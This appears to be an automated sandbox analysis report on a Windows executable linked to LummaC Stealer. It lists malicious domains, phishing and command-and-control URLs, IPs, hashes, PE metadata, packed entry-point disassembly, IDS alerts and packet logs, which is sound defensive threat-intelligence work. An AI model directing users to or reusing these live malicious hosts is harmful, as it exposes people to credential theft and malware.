	0t7MXNEfCg.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/2dxw/
	g1V10ssekg.exe	Get hash	malicious	FormBook	Browse	www.sigaque.today/n61y/?UPV=BOlfS7N9ZWkGRIMRgNC6B6+WUTyM673eSjZAzliNIDKZHnAeT7/5dfTbZtimq+dx8K4CQjPcymznAMXPWSrBBYPYz0JSQDMkWzhvpNbFnW2/OcjAWw==&YrV=FlsDgRMx
	0IrTeguWM7.exe	Get hash	malicious	FormBook	Browse	www.tumbetgirislinki.fit/ftbq/
	Shipping Document.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/6m32/
	Payment Record.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sccc/five/fre.php
	Invoice Remittance ref27022558.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/a669/
	ujXpculHYDYhc6i.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sss2/five/fre.php
	368c6e62-b031-5b65-fd43-e7a610184138.eml	Get hash	malicious	HTMLPhisher	Browse	ce60771026585.oakdiiocese.org/p/298?session=770558a25b5d1fcbb8d81f113631d430f5b8d022cdc6d97cf6b16a412a3be9e6

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
citydisco.bet	SoftWare.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	FortniteHack.exe1.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	188.114.96.3
	setupx 1.exe1.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	188.114.97.3
	Installer64x.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	setupx 2.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	ModMenu.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	SoftWare(2).exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	SoftWare(1).exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	Galaxy Swapper v2.0.3.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	13s1HMkHKv.exe	Get hash	malicious	Amadey, DarkVision Rat, Fallen Miner, LummaC Stealer	Browse	188.114.96.3
steamcommunity.com	script5.ps1	Get hash	malicious	LummaC Stealer	Browse	23.197.127.21
	https://stearncommmunity.com/profiles/52829086342741	Get hash	malicious	Unknown	Browse	23.197.127.21
	https://sceanmcommnunmnlty.com/xroea/spwoe/zxiwe	Get hash	malicious	Unknown	Browse	104.73.234.102
	https://sceanmcommnunmnlty.com/sotep/aofpe/zoepr	Get hash	malicious	Unknown	Browse	104.73.234.102
	http://gift50steam.com/50	Get hash	malicious	Unknown	Browse	104.73.234.102
	L0erlgyZ6f.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	104.73.234.102
	SpaceCheatFort.exe	Get hash	malicious	LummaC Stealer	Browse	23.192.247.89
	https://u.to/LZkkIg	Get hash	malicious	Unknown	Browse	23.197.127.21
	noypjksdaw.exe	Get hash	malicious	LummaC Stealer	Browse	104.73.234.102
	Q6EK7dte4N.exe	Get hash	malicious	LummaC Stealer	Browse	104.73.234.102
jowinjoinery.icu	kmtsefjtjha.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	CheatInjector.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	L0erlgyZ6f.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	188.114.97.3
	13s1HMkHKv.exe	Get hash	malicious	Amadey, DarkVision Rat, Fallen Miner, LummaC Stealer	Browse	188.114.96.3
	ModMenu.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	SpaceCheatFort.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	noypjksdaw.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	x1D44JHWDf.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	dawothjkjad.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	dawothjkjad.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
legenassedk.top	L0erlgyZ6f.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	188.114.97.3
	ModMenu.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	SpaceCheatFort.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	noypjksdaw.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	x1D44JHWDf.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	dawothjkjad.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	dawothjkjad.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	SecuriteInfo.com.Win32.MalwareX-gen.1567.5483.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	download.php.exe.bin.exe	Get hash	malicious	Amadey, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	kmtsefjtjha.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	https://zcmp-semi.maillist-manage.jp/click/11ed2c6aa12966a/11ed2c6aa12ae03	Get hash	malicious	Unknown	Browse	104.17.24.14
	nyojpsdfkawed.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	nude.jpg.exe.bin.exe	Get hash	malicious	Discord Rat	Browse	162.159.130.234
	nbvtiopwadkkth.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	nngg.exe	Get hash	malicious	Xmrig	Browse	172.67.19.24
	awkthjjawdtrh.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	nude.jpg.exe.bin.exe	Get hash	malicious	Discord Rat	Browse	162.159.136.234
	Built.exe.bin.exe	Get hash	malicious	Python Stealer, Blank Grabber	Browse	162.159.128.233
	NavaioSecurityTest (2).exe	Get hash	malicious	Unknown	Browse	172.67.223.179
CLOUDFLARENETUS	kmtsefjtjha.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	https://zcmp-semi.maillist-manage.jp/click/11ed2c6aa12966a/11ed2c6aa12ae03	Get hash	malicious	Unknown	Browse	104.17.24.14
	nyojpsdfkawed.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	nude.jpg.exe.bin.exe	Get hash	malicious	Discord Rat	Browse	162.159.130.234
	nbvtiopwadkkth.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	nngg.exe	Get hash	malicious	Xmrig	Browse	172.67.19.24
	awkthjjawdtrh.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	nude.jpg.exe.bin.exe	Get hash	malicious	Discord Rat	Browse	162.159.136.234
	Built.exe.bin.exe	Get hash	malicious	Python Stealer, Blank Grabber	Browse	162.159.128.233
	NavaioSecurityTest (2).exe	Get hash	malicious	Unknown	Browse	172.67.223.179
CLOUDFLARENETUS	kmtsefjtjha.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	https://zcmp-semi.maillist-manage.jp/click/11ed2c6aa12966a/11ed2c6aa12ae03	Get hash	malicious	Unknown	Browse	104.17.24.14
	nyojpsdfkawed.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	nude.jpg.exe.bin.exe	Get hash	malicious	Discord Rat	Browse	162.159.130.234
	nbvtiopwadkkth.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	nngg.exe	Get hash	malicious	Xmrig	Browse	172.67.19.24
	awkthjjawdtrh.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	nude.jpg.exe.bin.exe	Get hash	malicious	Discord Rat	Browse	162.159.136.234
	Built.exe.bin.exe	Get hash	malicious	Python Stealer, Blank Grabber	Browse	162.159.128.233
	NavaioSecurityTest (2).exe	Get hash	malicious	Unknown	Browse	172.67.223.179
CLOUDFLARENETUS	kmtsefjtjha.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	https://zcmp-semi.maillist-manage.jp/click/11ed2c6aa12966a/11ed2c6aa12ae03	Get hash	malicious	Unknown	Browse	104.17.24.14
	nyojpsdfkawed.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	nude.jpg.exe.bin.exe	Get hash	malicious	Discord Rat	Browse	162.159.130.234
	nbvtiopwadkkth.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	nngg.exe	Get hash	malicious	Xmrig	Browse	172.67.19.24
	awkthjjawdtrh.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	nude.jpg.exe.bin.exe	Get hash	malicious	Discord Rat	Browse	162.159.136.234
	Built.exe.bin.exe	Get hash	malicious	Python Stealer, Blank Grabber	Browse	162.159.128.233
	NavaioSecurityTest (2).exe	Get hash	malicious	Unknown	Browse	172.67.223.179

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	kmtsefjtjha.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 104.73.234.102 188.114.96.3
	nyojpsdfkawed.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 104.73.234.102 188.114.96.3
	nbvtiopwadkkth.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 104.73.234.102 188.114.96.3
	awkthjjawdtrh.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 104.73.234.102 188.114.96.3
	notyhkkadaw.exe1.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	188.114.97.3 104.73.234.102 188.114.96.3
	NEW_TENDER_LIST.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.3 104.73.234.102 188.114.96.3
	MacAddress.xlsm	Get hash	malicious	Unknown	Browse	188.114.97.3 104.73.234.102 188.114.96.3
	Arly.exe1.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	188.114.97.3 104.73.234.102 188.114.96.3
	CheatInjector.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 104.73.234.102 188.114.96.3
	SoftWare.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3 104.73.234.102 188.114.96.3

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9865895613266344
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	nvtoaldlrg.exe
File size:	1'311'232 bytes
MD5:	4a0c3d026246920f6b8bd466cc5fdd8c
SHA1:	2536873426bdcd8cdc5fa40b54d68cdf1a0766ff
SHA256:	fdba4cab6bb651c5ffecf92d1bfd3de70ef5433a6aea4976db9753742799b7a3
SHA512:	45ee538f216f1c55ef32a39a3449e6198b265457c1e0a84843559e2d8ffd6aa8b0117335148bc493466e3081a7b81c71febba262e6297b0214f93b404fc82d04
SSDEEP:	24576:V+Fh6DotPSJFFV3jAos1aMYC8VhKbcFMaQkVHDr5fGBuBRxsP4:4FcDmSfjE1aM9Q4c2r8leBCRa
TLSH:	3B5533C90DE29A4FE9E3E1F99A98754F03A08D18F9CB6F7429439350E1949935FCB270
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....3.g.............................?............@..........................p<...........@................................. .....

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x423f1d
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67D033F4 [Tue Mar 11 13:00:36 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	71cc5af9daad65e58c6f29c42cdf9201

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00401000h
call 00007FF85CBCC216h
call far 5DE5h : 8B10C483h
jmp 00007FF85CF6DD5Ch
jmp 00007FF85CBCC23Dh
xchg byte ptr [esi+61h], ah
pop ecx
sub ebx, ebx
push esi
mov dword ptr [ebp+ecx*4+5Fh], ecx
mov cl, 3Bh
out 4Eh, al
jmp far 01CDh : A434CB3Eh
movsb
insd
cmp esp, dword ptr [ebp+366B5C85h]
dec ebp
outsb
jo 00007FF85CBCC1D3h
push ebx
push eax
jnl 00007FF85CBCC215h
pop eax
pop ds
cmpsb
xor esi, ebx
or al, 10h
idiv byte ptr [eax-0674FBB2h]
sbb al, 3Ch
cmp al, 8Ch
mov bl, 2Ch
push cs
mov dl, 35h
in al, dx
pop ecx
fdiv dword ptr [ebx+0E7FD101h]
dec esi
xor byte ptr [ebp-46B12EB6h], bl
test dword ptr [ebp+2Ch], ecx
test byte ptr [ebx+7FBF4A8Eh], dh
dec edi
out dx, al
mov dl, DCh
lds esi, esi
lodsb
mov esp, AF31A461h
aaa
and dword ptr [eax-68A8E48Ch], ebp
bound ebx, dword ptr [edx-70B94344h]
cmp ebx, dword ptr [ebx+78h]
dec edi
dec ecx
and eax, B8A45AC0h
mov bh, F5h
mov esi, 41E3FA46h
dec ebp
cmpsb
test eax, B1F5B035h
rcr dword ptr [328B6098h], cl
cdq
cmp eax, BD3564A6h
int 67h
pop esp
cmp dword ptr [edx], C1717733h
fild dword ptr [eax]
test eax, AF6799C6h
mov al, 62h
jno 00007FF85CBCC24Dh
add eax, 0000D926h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e2020	0x214	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e2000	0xc	.data
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x4d000	0x29000	d0ec224ed06267b02a7305f79734b4e3	False	0.9996248570884146	data	7.998779735129503	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x4e000	0x3000	0x1000	dca4d7e75b2fda16279031255be5d4d0	False	0.99658203125	data	7.928958124958163	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x51000	0xe000	0x3200	24f1142fa2ada2d17221fdec81c4ccde	False	0.99390625	data	7.974744623175405	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x5f000	0x4000	0x2200	b1d1b0f2912520a0f950ef235666615e	False	0.9977022058823529	data	7.970326652039579	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x63000	0x27f000	0x2ba00	e966704a0cf80d9ceb6f0db90e584843	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x2e2000	0xe5000	0xe5000	c16a435c5d84ed24cd67014128d6defc	False	0.9959839400245634	MacBinary, char. code 0x2e, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040, creator ' .', type ' !.', 3678510 bytes "." , at 0x3821ae 15736878 bytes resource dBase III DBT, version number 0, next free block index 3023220, 1st item "\251\266o8\250\373\250\021\347\363T\227\340G@\226\340\252\227\354\013g\243)\272\327\366RE\324w8\330\034"	7.974703529943176	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
ole32.dll	CoCreateInstance

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-13T14:58:01.184550+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49724	104.73.234.102	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49694	188.114.96.3	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49685	188.114.97.3	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49700	104.21.80.1	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49688	104.21.96.1	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49721	104.73.234.102	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49709	104.73.234.102	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49706	104.73.234.102	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49712	104.73.234.102	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49727	104.73.234.102	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49718	104.73.234.102	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49697	104.21.48.1	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49703	104.21.16.1	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49715	104.73.234.102	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49691	188.114.97.3	443	TCP
2025-03-13T14:58:08.276345+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49682	188.114.97.3	443	TCP
2025-03-13T14:58:10.966897+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49683	188.114.97.3	443	TCP
2025-03-13T14:58:13.390678+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49684	188.114.97.3	443	TCP
2025-03-13T14:58:21.057185+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49730	104.73.234.102	443	TCP
2025-03-13T14:58:23.722136+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49731	104.73.234.102	443	TCP
2025-03-13T14:58:26.347544+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49733	104.73.234.102	443	TCP
2025-03-13T14:58:28.925365+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49738	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 13, 2025 14:58:06.764501095 CET	49682	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:06.764539957 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:06.764630079 CET	49682	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:06.768578053 CET	49682	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:06.768589973 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:08.276232004 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:08.276345015 CET	49682	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:08.287276983 CET	49682	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:08.287295103 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:08.287719011 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:08.335304022 CET	49682	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:08.490984917 CET	49682	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:08.490986109 CET	49682	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:08.491149902 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:09.321163893 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:09.325576067 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:09.325608969 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:09.325634003 CET	49682	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:09.325649977 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:09.325704098 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:09.325706005 CET	49682	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:09.325716019 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:09.325768948 CET	49682	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:09.330241919 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:09.330307007 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:09.330358982 CET	49682	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:09.330374002 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:09.336108923 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:09.336175919 CET	49682	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:09.336189032 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:09.382152081 CET	49682	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:09.413301945 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:09.460362911 CET	49682	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:09.488832951 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:09.488917112 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:09.488970995 CET	49682	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:09.489923954 CET	49682	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:09.489937067 CET	443	49682	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:09.672449112 CET	49683	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:09.672514915 CET	443	49683	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:09.672607899 CET	49683	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:09.672888994 CET	49683	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:09.672904968 CET	443	49683	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:10.966808081 CET	443	49683	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:10.966897011 CET	49683	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:11.044123888 CET	49683	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:11.044169903 CET	443	49683	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:11.044466019 CET	443	49683	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:11.046480894 CET	49683	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:11.046669960 CET	49683	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:11.046694040 CET	443	49683	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:11.931147099 CET	443	49683	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:11.931274891 CET	443	49683	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:11.931324005 CET	49683	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:11.931416035 CET	49683	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:11.931437016 CET	443	49683	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:12.065493107 CET	49684	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:12.065550089 CET	443	49684	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:12.065622091 CET	49684	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:12.065944910 CET	49684	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:12.065958977 CET	443	49684	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:13.390568972 CET	443	49684	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:13.390677929 CET	49684	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:13.392016888 CET	49684	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:13.392028093 CET	443	49684	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:13.392280102 CET	443	49684	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:13.393591881 CET	49684	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:13.393703938 CET	49684	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:13.393733978 CET	443	49684	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:13.393781900 CET	49684	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:13.436347961 CET	443	49684	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:14.254348993 CET	443	49684	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:14.254770041 CET	49684	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:14.460191965 CET	49685	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:14.460247993 CET	443	49685	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:14.460349083 CET	49685	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:14.460705042 CET	49685	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:14.460719109 CET	443	49685	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:15.736433029 CET	443	49685	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:15.737662077 CET	49686	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:15.737704039 CET	443	49686	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:15.737778902 CET	49686	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:15.738357067 CET	49686	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:15.738372087 CET	443	49686	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:15.739367008 CET	443	49686	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:15.739711046 CET	49687	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:15.739758015 CET	443	49687	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:15.739809036 CET	49687	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:15.740247965 CET	49687	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:15.740278006 CET	443	49687	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:15.740323067 CET	49687	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:16.546133995 CET	49688	443	192.168.2.8	104.21.96.1
Mar 13, 2025 14:58:16.546185017 CET	443	49688	104.21.96.1	192.168.2.8
Mar 13, 2025 14:58:16.546307087 CET	49688	443	192.168.2.8	104.21.96.1
Mar 13, 2025 14:58:16.546788931 CET	49688	443	192.168.2.8	104.21.96.1
Mar 13, 2025 14:58:16.546798944 CET	443	49688	104.21.96.1	192.168.2.8
Mar 13, 2025 14:58:16.547532082 CET	443	49688	104.21.96.1	192.168.2.8
Mar 13, 2025 14:58:16.547920942 CET	49689	443	192.168.2.8	104.21.96.1
